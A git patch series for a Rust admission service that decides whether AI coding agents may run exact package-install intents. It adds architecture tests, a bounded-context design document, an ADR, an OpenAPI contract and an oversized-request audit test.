b/crates/agent-artifact-admission/tests/http_contract.rs index a04b235c..603049a1 100644 --- a/crates/agent-artifact-admission/tests/http_contract.rs +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -227,7 +227,11 @@ async fn malformed_authenticated_json_is_audited_before_bad_request() { assert_eq!(response.status(), StatusCode::BAD_REQUEST); let decision: AdmissionDecision = decode_json(response).await; assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::MalformedRequest)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MalformedRequest) + ); let records = sink.records().expect("audit snapshot must succeed"); assert_eq!(records.len(), 1); assert!(records[0].request_id.starts_with("malformed:")); @@ -256,7 +260,11 @@ async fn structurally_invalid_authenticated_intent_is_audited_and_returns_bad_re assert_eq!(response.status(), StatusCode::BAD_REQUEST); let decision: AdmissionDecision = decode_json(response).await; assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::InvalidOperation)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::InvalidOperation) + ); let records = sink.records().expect("audit snapshot must succeed"); assert_eq!(records.len(), 1); assert!( From 6eea1293bb4e6d9c4cf83010eccda5bfa7b0fcc2 Mon Sep 17 00:00:00 2001 From: OpenAI Codex Date: Sun, 30 Aug 2026 08:12:48 +0900 Subject: [PATCH 021/247] fix(security): remove deprecated token compare --- crates/agent-artifact-admission/src/http.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs index 5e329cfa..635a9219 100644 --- a/crates/agent-artifact-admission/src/http.rs +++ b/crates/agent-artifact-admission/src/http.rs @@ -279,7 +279,11 @@ fn constant_time_token_equal(presented: &str, configured: &str) -> bool { presented_buffer[2..2 + presented.len()].copy_from_slice(presented.as_bytes()); configured_buffer[2..2 + configured.len()].copy_from_slice(configured.as_bytes()); - ring::constant_time::verify_slices_are_equal(&presented_buffer, &configured_buffer).is_ok() + let mut diff = 0_u8; + for (lhs, rhs) in presented_buffer.iter().zip(configured_buffer.iter()) { + diff |= lhs ^ rhs; + } + diff == 0 } async fn shutdown_signal() { From 485ab0650df3d7c09f8825f70336ac1e24eca35f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:03:34 +0900 Subject: [PATCH 022/247] test(ddd): enforce agent admission dependency direction --- .../tests/ddd_architecture_contract.rs | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/ddd_architecture_contract.rs diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs new file mode 100644 index 00000000..71e6d652 --- /dev/null +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -0,0 +1,62 @@ +//! Architectural fitness checks for the Agent Artifact Admission bounded context. +//! +//! These tests intentionally inspect module imports and module names. They are not +//! behavior tests; they protect the dependency direction that keeps the domain +//! model usable without Axum, Tokio, filesystem, or deployment concerns. + +const DOMAIN_SOURCES: &[(&str, &str)] = &[ + ("model.rs", include_str!("../src/model.rs")), + ("policy.rs", include_str!("../src/policy.rs")), +]; + +const FORBIDDEN_DOMAIN_DEPENDENCIES: &[&str] = &[ + "axum::", + "tokio::", + "std::fs", + "std::net", + "std::path", + "FileAuditSink", + "AdmissionServiceConfig", +]; + +#[test] +fn domain_modules_do_not_depend_on_delivery_or_infrastructure() { + for (path, source) in DOMAIN_SOURCES { + for forbidden in FORBIDDEN_DOMAIN_DEPENDENCIES { + assert!( + !source.contains(forbidden), + "{path} crosses the Agent Artifact Admission domain boundary via {forbidden}" + ); + } + } +} + +#[test] +fn bounded_context_does_not_gain_ambiguous_dumping_modules() { + let crate_root = include_str!("../src/lib.rs"); + for ambiguous in [ + "mod utils;", + "mod helpers;", + "mod common;", + "mod services;", + "mod shared;", + "mod misc;", + "mod legacy;", + ] { + assert!( + !crate_root.contains(ambiguous), + "Agent Artifact Admission must express domain responsibility instead of adding `{ambiguous}`" + ); + } +} + +#[test] +fn domain_policy_remains_independent_of_http_and_audit_adapters() { + let policy = include_str!("../src/policy.rs"); + for adapter in ["crate::http", "crate::config", "FileAuditSink", "MemoryAuditSink"] { + assert!( + !policy.contains(adapter), + "policy.rs must not depend on adapter concern `{adapter}`" + ); + } +} From e28756a31c70a1477e686a227ba0180b4b7c9fea Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:04:27 +0900 Subject: [PATCH 023/247] docs(ddd): define agent admission bounded context --- .../agent-artifact-admission-context-map.md | 71 +++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 docs/architecture/agent-artifact-admission-context-map.md diff --git a/docs/architecture/agent-artifact-admission-context-map.md b/docs/architecture/agent-artifact-admission-context-map.md new file mode 100644 index 00000000..9594f144 --- /dev/null +++ b/docs/architecture/agent-artifact-admission-context-map.md @@ -0,0 +1,71 @@ +# Agent Artifact Admission bounded context + +Status: active design contract for PR #129. + +Wardnet treats pre-execution package admission as a distinct bounded context rather than another route inside the gateway monolith. The context protects one decision: whether an execution broker may proceed with one exact package-install intent. It does not execute packages, resolve registries, infer publisher ownership from documents, or own the execution sandbox. + +## Subdomain classification + +- **Core subdomain — Security Admission:** deterministic allow/block decisions at Wardnet-controlled trust boundaries. Gateway traffic admission and agent artifact admission share security policy principles, but they do not share mutable domain state or persistence. +- **Supporting subdomain — Security Evidence:** durable, minimized decision evidence used for incident response and later SIEM projection. +- **Supporting subdomain — Policy Delivery:** reviewed immutable policy and credential material supplied to a process instance. +- **Generic subdomain — HTTP/process hosting:** Axum routing, loopback listener lifecycle, file-backed configuration, and operating-system signal handling. + +## Ubiquitous language + +**Install Intent** is the structured request presented before a package manager runs. **Admission Policy** is reviewed immutable policy for one process revision. **Approved Manifest** identifies one reviewed workspace dependency manifest by workspace and SHA-256. **Approved Artifact** identifies one exact artifact by ecosystem, name, version, registry, owner, digest, and the argv token that names it. **Admission Decision** is the deterministic allow/block domain result. **Admission Receipt** is the response representation of that decision. **Audit Record** is minimized durable evidence written before an authenticated admission response is returned. **Instruction Source** records where the install suggestion came from without granting that source authority. **Execution Broker** is an external caller that must require an allow receipt before invoking a package manager. + +The terms `service`, `manager`, `helper`, `common`, `shared`, and `model` are not bounded-context concepts and must not become new responsibility containers. Existing `model.rs` is a source-file name for the admission vocabulary only; new domain concepts belong under names taken from this glossary rather than a generic catch-all module. + +## Context map + +```mermaid +flowchart LR + EB[Execution Broker\nOpenCode / Codex / Claude / Hermes wrapper] + AA[Agent Artifact Admission\nWardnet bounded context] + PD[Reviewed Policy Delivery] + AS[Append-only Audit Store] + PE[Package Executor / Sandbox] + REG[Package Registry / Provenance Services] + SIEM[Wardnet Security Evidence / SIEM projection] + + EB -->|structured Install Intent| AA + PD -->|immutable Admission Policy + credential| AA + AA -->|durable Audit Record| AS + AA -->|Admission Receipt| EB + EB -->|only after allow| PE + PE -->|artifact retrieval/verification| REG + AS -. later projection .-> SIEM +``` + +### Upstream and downstream contracts + +The execution broker is an upstream customer of this context. Its agent text, retrieved pages, issue comments, and tool output are untrusted data. The broker may not bypass the admission result or translate a block into an allow. + +Policy delivery is an upstream published configuration contract. The admission context consumes reviewed policy; it does not mutate policy at runtime. Future signed bundles may replace local files behind an Anti-Corruption Layer without changing the domain types. + +Package registries, Sigstore/TUF/SLSA evidence, and sandbox execution are downstream or external authorities. Their provider-specific schemas must not enter the admission domain as entities. Future integrations translate them through adapters into exact artifact/provenance facts. + +Wardnet SIEM/OCSF/OTLP export is a downstream evidence context. Agent Artifact Admission owns the decision and its canonical audit fact; SIEM export owns external event projections. Projection formats must not become domain dependencies. + +## Aggregate and invariants + +The v0.1 decision is intentionally stateless. `AdmissionPolicy` is immutable process state, while each `InstallIntent` is evaluated independently and produces one `AdmissionDecision`. No long-lived aggregate graph is required. + +The transaction boundary for an authenticated admission request is: evaluate the intent, build the audit fact, durably append it, then return the receipt. An allow must never be visible before durable audit succeeds. Audit failure changes the externally visible result to fail-closed service unavailability. Policy and credentials are not mutated in that transaction. + +## Dependency direction + +`model.rs` and `policy.rs` form the domain kernel and must remain independent of Axum, Tokio, filesystem, listener, and deployment concerns. `audit.rs` defines the evidence contract and its current local-file adapter; this mixed file is acceptable only while the adapter remains small and the domain never depends on its concrete sink. If additional audit backends arrive, move concrete sinks behind an adapter module before adding them. `config.rs` and `http.rs` are adapter/delivery concerns and may depend inward on domain contracts. `main.rs` is composition only. + +`crates/agent-artifact-admission/tests/ddd_architecture_contract.rs` is the first architectural fitness gate for this context. Extend it whenever a new provider, persistence backend, or delivery surface is introduced. + +## Anti-corruption boundaries + +- Provider-specific registry metadata, package-manager output, Sigstore bundles, TUF metadata, and SLSA attestations are external models. Translate them into reviewed artifact/provenance facts before they influence admission. +- OpenCode/Codex/Claude/Hermes agent messages are not domain commands. The execution broker must construct the strict `InstallIntent` contract explicitly. +- SIEM/OCSF/OTLP schemas are projections of canonical audit facts, not canonical admission entities. + +## Split triggers + +Keep this bounded context as one independently deployable crate while its transactionality and deployment lifecycle remain cohesive. Split only when a stable responsibility acquires an independent policy lifecycle, persistence authority, release cadence, or reuse boundary. A new protocol adapter alone is not a reason to create a service. From 60a356b09bc95517ab02ace498d7af861533689c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:05:23 +0900 Subject: [PATCH 024/247] docs(adr): record agent admission bounded context --- ...gent-artifact-admission-bounded-context.md | 70 +++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 docs/adr/0012-agent-artifact-admission-bounded-context.md diff --git a/docs/adr/0012-agent-artifact-admission-bounded-context.md b/docs/adr/0012-agent-artifact-admission-bounded-context.md new file mode 100644 index 00000000..f06639df --- /dev/null +++ b/docs/adr/0012-agent-artifact-admission-bounded-context.md @@ -0,0 +1,70 @@ +# ADR-0012: Agent Artifact Admission is a separate Wardnet bounded context + +- Status: Accepted for PR #129 +- Date: 2026-09-01 +- Decision owner: Wardnet + +## Context + +Wardnet already owns network and application admission controls. AI coding agents add a different trust transition: untrusted text can be transformed into a package-install or code-execution request. Treating that concern as another handler inside the existing gateway would mix traffic enforcement, package identity, execution authority, and audit semantics in one module and would make future broker integrations depend on the gateway deployment. + +The current implementation has a standalone Rust crate, `wardnet-agent-artifact-admission`, with a deterministic policy evaluator, strict install-intent contract, append-only audit evidence, loopback-only HTTP delivery, and immutable process configuration. This ADR records the domain boundary and the dependency direction that subsequent work must preserve. + +## Decision + +Agent Artifact Admission is a distinct Wardnet bounded context inside the core Security Admission subdomain. Its ubiquitous language and context relationships are defined in `docs/architecture/agent-artifact-admission-context-map.md`. + +The bounded context owns: + +- `InstallIntent`, `InstructionSource`, `ApprovedManifest`, `ApprovedArtifact`, `AdmissionPolicy`, `AdmissionDecision`, reason codes, and their invariants; +- deterministic policy evaluation for one install intent; +- the canonical minimized audit fact for an authenticated admission attempt; +- the loopback-only v0.1 admission API and process composition required to expose that decision boundary. + +It does not own: + +- package execution or sandboxing; +- registry discovery, publisher inference, or dependency resolution; +- Sigstore, TUF, or SLSA provider schemas; +- OpenCode/Codex/Claude/Hermes orchestration policy; +- SIEM/OCSF/OTLP projection formats; +- organization-wide credential or workflow authority. + +Those models cross the boundary only through explicit adapters or Anti-Corruption Layers. A provider DTO must not become an admission domain entity. + +## Dependency direction + +The domain kernel (`model.rs`, `policy.rs`) must remain free of Axum, Tokio, filesystem, listener, provider SDK, and deployment dependencies. HTTP/process/configuration concerns depend inward on the domain contracts. Concrete audit storage may implement the audit port but must not be imported by the policy evaluator. + +The current crate is a modular deployment boundary, not a mandate to create another microservice for every protocol. A split requires an independently evolving responsibility, persistence authority, policy lifecycle, reuse boundary, or deployment cadence. Additional HTTP, SIEM, Sigstore, or registry adapters alone do not justify a new service. + +`crates/agent-artifact-admission/tests/ddd_architecture_contract.rs` enforces the initial dependency rules. Architecture changes must update this ADR or supersede it and change the fitness tests in the same PR. + +## Consequences + +The main Wardnet gateway cannot reach into Agent Artifact Admission internals. Execution brokers use the published admission API or a future package contract. Agent Artifact Admission cannot directly query another CWL service's application tables. Cross-product integration uses versioned API, package, or event contracts. + +The bounded context remains independently deployable and can be embedded later without losing its domain boundary. The immutable-policy v0.1 avoids a runtime policy aggregate and reduces the transaction to `evaluate -> build audit fact -> durably append -> return receipt`. + +The existing `audit.rs` currently contains both the audit contract and a small file-backed adapter. This is tolerated only while there is one local adapter and the domain evaluator does not depend on its concrete type. A second persistence backend is the trigger to split the port from concrete adapters rather than growing a generic infrastructure module. + +## Security and supply-chain basis + +The admission service complements, rather than replaces, software-supply-chain provenance. Exact digest and reviewed-manifest binding are local admission facts; registry and build provenance remain external authorities. + +Current primary guidance checked for this decision: + +- SLSA v1.2 is the latest released SLSA specification and adds the Source Track; its source and provenance controls remain external evidence consumed through adapters. https://slsa.dev/blog/2025/11/announce-slsa-v1.2 +- The Update Framework specification currently lists v1.0.33 as latest; future signed policy/artifact metadata integration must translate TUF metadata through an adapter. https://theupdateframework.io/spec/ +- NIST SP 800-218, SSDF Version 1.1, remains the current final SSDF publication; SP 800-218 Rev. 1 / SSDF 1.2 is still an Initial Public Draft and is not treated as binding. https://csrc.nist.gov/pubs/sp/800/218/final +- NIST SP 800-218A is the final generative-AI SSDF community profile and supports treating AI-produced software-development instructions as inputs that require secure development controls rather than execution authority. https://csrc.nist.gov/pubs/sp/800/218/a/final + +## Alternatives considered + +**Add routes to the main gateway module.** Rejected because it couples package-execution admission to traffic-routing deployment and expands the gateway's responsibility. + +**Create a generic `security-service` or `common` crate.** Rejected because the name hides responsibility and invites unrelated controls into a shared dumping ground. + +**Let execution brokers implement their own checks.** Rejected because policy and evidence would diverge between OpenCode, Codex, Claude, Hermes, CI, and MCP callers. + +**Make provenance providers domain dependencies.** Rejected because it imports foreign schemas and lifecycle decisions into the admission model; provider evidence belongs behind explicit translation boundaries. From f5c69bcdf5d2ecb2aba4301cb1aea2ae4a4f9881 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:06:58 +0900 Subject: [PATCH 025/247] docs(api): publish agent admission OpenAPI contract --- .../agent-artifact-admission.openapi.yaml | 323 ++++++++++++++++++ 1 file changed, 323 insertions(+) create mode 100644 docs/openapi/agent-artifact-admission.openapi.yaml diff --git a/docs/openapi/agent-artifact-admission.openapi.yaml b/docs/openapi/agent-artifact-admission.openapi.yaml new file mode 100644 index 00000000..435ae078 --- /dev/null +++ b/docs/openapi/agent-artifact-admission.openapi.yaml @@ -0,0 +1,323 @@ +openapi: 3.1.0 +info: + title: Wardnet Agent Artifact Admission API + version: 0.1.0 + description: >- + Loopback-only pre-execution admission boundary for structured package-install + intents. The service never executes package-manager commands. +servers: + - url: http://127.0.0.1:8091 + description: Example loopback deployment; the configured bind port is authoritative. +paths: + /healthz: + get: + operationId: getAgentArtifactAdmissionHealth + summary: Read process health and immutable policy identity + responses: + '200': + description: Process is serving the configured immutable policy. + content: + application/json: + schema: + $ref: '#/components/schemas/HealthView' + /v1/policy: + get: + operationId: getAgentArtifactAdmissionPolicy + summary: Read the immutable admission policy + security: + - AdminToken: [] + responses: + '200': + description: Current immutable process policy. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionPolicy' + '401': + $ref: '#/components/responses/Unauthorized' + /v1/admissions: + post: + operationId: createAgentArtifactAdmission + summary: Evaluate one structured package-install intent + description: >- + Returns a durable allow/block decision. A policy block is HTTP 200 because + the domain decision completed successfully. Structurally invalid authenticated + JSON is audited and returned as HTTP 400. An allow is not returned until the + audit record has been durably appended. Audit failure returns HTTP 503 and a + fail-closed block decision. + security: + - AdminToken: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/InstallIntent' + responses: + '200': + description: Durable policy allow or policy block decision. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' + '400': + description: Authenticated request was malformed or structurally invalid and was durably audited. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' + '401': + $ref: '#/components/responses/Unauthorized' + '413': + description: Request body exceeded the configured Axum body limit before a complete admission intent could be materialized. + content: + text/plain: + schema: + type: string + '503': + description: Audit durability was unavailable; execution must not proceed. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' +components: + securitySchemes: + AdminToken: + type: apiKey + in: header + name: X-Admin-Token + description: >- + Exactly one bounded visible-ASCII token loaded from the credentials file at + process startup. Missing, duplicate, malformed, or incorrect values fail closed. + responses: + Unauthorized: + description: Authentication failed without disclosing credential details. + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorView' + schemas: + HealthView: + type: object + additionalProperties: false + required: + - status + - policy_id + - policy_revision + - allowed_executable_count + - approved_manifest_count + - approved_artifact_count + properties: + status: + type: string + const: ok + policy_id: + type: string + policy_revision: + type: string + allowed_executable_count: + type: integer + minimum: 0 + approved_manifest_count: + type: integer + minimum: 0 + approved_artifact_count: + type: integer + minimum: 0 + ErrorView: + type: object + additionalProperties: false + required: + - error + properties: + error: + type: string + const: unauthorized + AdmissionPolicy: + type: object + additionalProperties: false + required: + - policy_id + - policy_revision + - allowed_executables + - approved_manifests + - approved_artifacts + properties: + policy_id: + type: string + policy_revision: + type: string + allowed_executables: + type: array + items: + type: string + approved_manifests: + type: array + items: + $ref: '#/components/schemas/ApprovedManifest' + approved_artifacts: + type: array + items: + $ref: '#/components/schemas/ApprovedArtifact' + ApprovedManifest: + type: object + additionalProperties: false + required: + - workspace_id + - sha256 + properties: + workspace_id: + type: string + sha256: + $ref: '#/components/schemas/Sha256' + ApprovedArtifact: + allOf: + - $ref: '#/components/schemas/ArtifactCoordinate' + ArtifactCoordinate: + type: object + additionalProperties: false + required: + - ecosystem + - name + - version + - registry_url + - owner + - sha256 + - artifact_argument + properties: + ecosystem: + type: string + name: + type: string + version: + type: string + registry_url: + type: string + format: uri + pattern: '^https://' + owner: + type: string + sha256: + $ref: '#/components/schemas/Sha256' + artifact_argument: + type: string + InstructionSource: + type: object + additionalProperties: false + required: + - kind + - uri + - content_sha256 + properties: + kind: + type: string + enum: + - llms_txt + - llms_full_txt + - web_page + - issue_comment + - reviewed_config + uri: + oneOf: + - type: string + format: uri + - type: 'null' + content_sha256: + oneOf: + - $ref: '#/components/schemas/Sha256' + - type: 'null' + InstallIntent: + type: object + additionalProperties: false + required: + - request_id + - actor_id + - workspace_id + - operation + - argv + - manifest_sha256 + - source + - artifacts + properties: + request_id: + type: string + actor_id: + type: string + workspace_id: + type: string + operation: + type: string + const: install + argv: + type: array + minItems: 1 + items: + type: string + manifest_sha256: + $ref: '#/components/schemas/Sha256' + source: + $ref: '#/components/schemas/InstructionSource' + artifacts: + type: array + minItems: 1 + items: + $ref: '#/components/schemas/ArtifactCoordinate' + AdmissionDecision: + type: object + additionalProperties: false + required: + - request_id + - decision + - reason_codes + - policy_id + - policy_revision + - normalized_source_uri + - command_sha256 + - artifact_count + properties: + request_id: + type: string + decision: + type: string + enum: + - allow + - block + reason_codes: + type: array + items: + type: string + enum: + - malformed_request + - invalid_request + - invalid_operation + - invalid_manifest_digest + - invalid_artifact + - duplicate_artifact + - artifact_not_approved + - manifest_not_approved + - executable_not_allowed + - missing_executable + - missing_source_uri + - missing_source_digest + - invalid_source_uri + - forbidden_command + - alternate_trust_root + - missing_safety_flag + - audit_unavailable + policy_id: + type: string + policy_revision: + type: string + normalized_source_uri: + oneOf: + - type: string + format: uri + - type: 'null' + command_sha256: + $ref: '#/components/schemas/Sha256' + artifact_count: + type: integer + minimum: 0 + Sha256: + type: string + pattern: '^[0-9a-f]{64}$' From a24ecec5b8b15053bcdeac7e17682fe3737a05b1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:09:02 +0900 Subject: [PATCH 026/247] refactor(ddd): name admission domain explicitly --- .../src/{model.rs => admission.rs} | 0 crates/agent-artifact-admission/src/lib.rs | 10 +++++----- .../tests/ddd_architecture_contract.rs | 5 +++-- 3 files changed, 8 insertions(+), 7 deletions(-) rename crates/agent-artifact-admission/src/{model.rs => admission.rs} (100%) diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/admission.rs similarity index 100% rename from crates/agent-artifact-admission/src/model.rs rename to crates/agent-artifact-admission/src/admission.rs diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 04b82d30..22a9654d 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,11 +1,15 @@ //! Fail-closed package-install admission primitives for AI coding agents. +mod admission; mod audit; mod config; mod http; -mod model; mod policy; +pub use admission::{ + AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, +}; pub use audit::{ AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, build_audit_record, build_malformed_audit_record, @@ -15,8 +19,4 @@ pub use config::{ parse_cli_args, validate_service_config, }; pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; -pub use model::{ - AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, - DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, -}; pub use policy::{admission_decision, is_sha256_hex, sha256_hex, validate_install_intent}; diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index 71e6d652..e103fdf0 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -2,10 +2,10 @@ //! //! These tests intentionally inspect module imports and module names. They are not //! behavior tests; they protect the dependency direction that keeps the domain -//! model usable without Axum, Tokio, filesystem, or deployment concerns. +//! vocabulary usable without Axum, Tokio, filesystem, or deployment concerns. const DOMAIN_SOURCES: &[(&str, &str)] = &[ - ("model.rs", include_str!("../src/model.rs")), + ("admission.rs", include_str!("../src/admission.rs")), ("policy.rs", include_str!("../src/policy.rs")), ]; @@ -42,6 +42,7 @@ fn bounded_context_does_not_gain_ambiguous_dumping_modules() { "mod shared;", "mod misc;", "mod legacy;", + "mod model;", ] { assert!( !crate_root.contains(ambiguous), From d31043d1853cd23b9dc61d1aa9961de04766ab43 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:10:26 +0900 Subject: [PATCH 027/247] docs(ddd): align context map with admission module name --- docs/architecture/agent-artifact-admission-context-map.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/architecture/agent-artifact-admission-context-map.md b/docs/architecture/agent-artifact-admission-context-map.md index 9594f144..1723b5e6 100644 --- a/docs/architecture/agent-artifact-admission-context-map.md +++ b/docs/architecture/agent-artifact-admission-context-map.md @@ -15,7 +15,7 @@ Wardnet treats pre-execution package admission as a distinct bounded context rat **Install Intent** is the structured request presented before a package manager runs. **Admission Policy** is reviewed immutable policy for one process revision. **Approved Manifest** identifies one reviewed workspace dependency manifest by workspace and SHA-256. **Approved Artifact** identifies one exact artifact by ecosystem, name, version, registry, owner, digest, and the argv token that names it. **Admission Decision** is the deterministic allow/block domain result. **Admission Receipt** is the response representation of that decision. **Audit Record** is minimized durable evidence written before an authenticated admission response is returned. **Instruction Source** records where the install suggestion came from without granting that source authority. **Execution Broker** is an external caller that must require an allow receipt before invoking a package manager. -The terms `service`, `manager`, `helper`, `common`, `shared`, and `model` are not bounded-context concepts and must not become new responsibility containers. Existing `model.rs` is a source-file name for the admission vocabulary only; new domain concepts belong under names taken from this glossary rather than a generic catch-all module. +The terms `service`, `manager`, `helper`, `common`, `shared`, and `model` are not bounded-context concepts and must not become new responsibility containers. The domain vocabulary now lives in `admission.rs`; new domain concepts should continue to use names from this glossary rather than a generic catch-all module. ## Context map @@ -56,7 +56,7 @@ The transaction boundary for an authenticated admission request is: evaluate the ## Dependency direction -`model.rs` and `policy.rs` form the domain kernel and must remain independent of Axum, Tokio, filesystem, listener, and deployment concerns. `audit.rs` defines the evidence contract and its current local-file adapter; this mixed file is acceptable only while the adapter remains small and the domain never depends on its concrete sink. If additional audit backends arrive, move concrete sinks behind an adapter module before adding them. `config.rs` and `http.rs` are adapter/delivery concerns and may depend inward on domain contracts. `main.rs` is composition only. +`admission.rs` and `policy.rs` form the domain kernel and must remain independent of Axum, Tokio, filesystem, listener, and deployment concerns. `audit.rs` defines the evidence contract and its current local-file adapter; this mixed file is acceptable only while the adapter remains small and the domain never depends on its concrete sink. If additional audit backends arrive, move concrete sinks behind an adapter module before adding them. `config.rs` and `http.rs` are adapter/delivery concerns and may depend inward on domain contracts. `main.rs` is composition only. `crates/agent-artifact-admission/tests/ddd_architecture_contract.rs` is the first architectural fitness gate for this context. Extend it whenever a new provider, persistence backend, or delivery surface is introduced. From 4ce8a5922f786f5549bdd77a52f75f71f433ea06 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:11:20 +0900 Subject: [PATCH 028/247] docs(ddd): align ADR with admission module name --- docs/adr/0012-agent-artifact-admission-bounded-context.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/adr/0012-agent-artifact-admission-bounded-context.md b/docs/adr/0012-agent-artifact-admission-bounded-context.md index f06639df..68d34647 100644 --- a/docs/adr/0012-agent-artifact-admission-bounded-context.md +++ b/docs/adr/0012-agent-artifact-admission-bounded-context.md @@ -34,7 +34,7 @@ Those models cross the boundary only through explicit adapters or Anti-Corruptio ## Dependency direction -The domain kernel (`model.rs`, `policy.rs`) must remain free of Axum, Tokio, filesystem, listener, provider SDK, and deployment dependencies. HTTP/process/configuration concerns depend inward on the domain contracts. Concrete audit storage may implement the audit port but must not be imported by the policy evaluator. +The domain kernel (`admission.rs`, `policy.rs`) must remain free of Axum, Tokio, filesystem, listener, provider SDK, and deployment dependencies. HTTP/process/configuration concerns depend inward on the domain contracts. Concrete audit storage may implement the audit port but must not be imported by the policy evaluator. The current crate is a modular deployment boundary, not a mandate to create another microservice for every protocol. A split requires an independently evolving responsibility, persistence authority, policy lifecycle, reuse boundary, or deployment cadence. Additional HTTP, SIEM, Sigstore, or registry adapters alone do not justify a new service. From c9c51ab7b3de3acfd64c9c5ae9ba55f96a1f8fb4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:12:08 +0900 Subject: [PATCH 029/247] test(admission): require audit evidence for oversized authenticated requests --- .../tests/oversized_request_audit_contract.rs | 63 +++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs diff --git a/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs new file mode 100644 index 00000000..7345d064 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oversized_request_audit_contract.rs @@ -0,0 +1,63 @@ +use std::sync::Arc; + +use axum::{ + body::{Body, to_bytes}, + http::{HeaderValue, Request, StatusCode, header::CONTENT_TYPE}, +}; +use tower::ServiceExt; +use wardnet_agent_artifact_admission::{ + AdmissionDecision, AdmissionPolicy, AdmissionState, AuditSink, DecisionKind, MemoryAuditSink, + ReasonCode, build_app, +}; + +const ADMIN_TOKEN: &str = "0123456789abcdef0123456789abcdef"; + +fn state(sink: Arc) -> AdmissionState { + AdmissionState::new( + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "oversize-audit-test".to_string(), + ..AdmissionPolicy::default() + }, + ADMIN_TOKEN.to_string(), + sink, + 32, + ) +} + +#[tokio::test] +async fn oversized_authenticated_request_is_audited_before_payload_too_large_response() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(sink.clone())); + let request = Request::builder() + .method("POST") + .uri("/v1/admissions") + .header(CONTENT_TYPE, "application/json") + .header("x-admin-token", HeaderValue::from_static(ADMIN_TOKEN)) + .body(Body::from(vec![b'x'; 128])) + .expect("request must build"); + + let response = app.oneshot(request).await.expect("router must answer"); + + assert_eq!(response.status(), StatusCode::PAYLOAD_TOO_LARGE); + let bytes = to_bytes(response.into_body(), 64 * 1024) + .await + .expect("response body must be readable"); + let decision: AdmissionDecision = + serde_json::from_slice(&bytes).expect("oversized response must be a decision receipt"); + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::RequestBodyTooLarge] + ); + + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Block); + assert_eq!( + records[0].reason_codes, + vec![ReasonCode::RequestBodyTooLarge] + ); + assert_eq!(records[0].request_id, "unavailable:request_body_too_large"); + assert!(records[0].request_body_sha256.is_none()); +} From 3654297047400bddad6dbb98c77b76d35c937335 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 1 Sep 2026 13:13:40 +0900 Subject: [PATCH 030/247] feat(admission): classify oversized request bodies --- crates/agent-artifact-admission/src/admission.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/crates/agent-artifact-admission/src/admission.rs b/crates/agent-artifact-admission/src/admission.rs index 28dab836..c8ec0419 100644 --- a/crates/agent-artifact-admission/src/admission.rs +++ b/crates/agent-artifact-admission/src/admission.rs @@ -217,6 +217,8 @@ impl DecisionKind { pub enum ReasonCode { /// The request body could not be parsed as the strict install-intent schema. MalformedRequest, + /// The authenticated request body exceeded the configured materialization limit. + RequestBodyTooLarge, /// A bounded identifier, argument vector, source 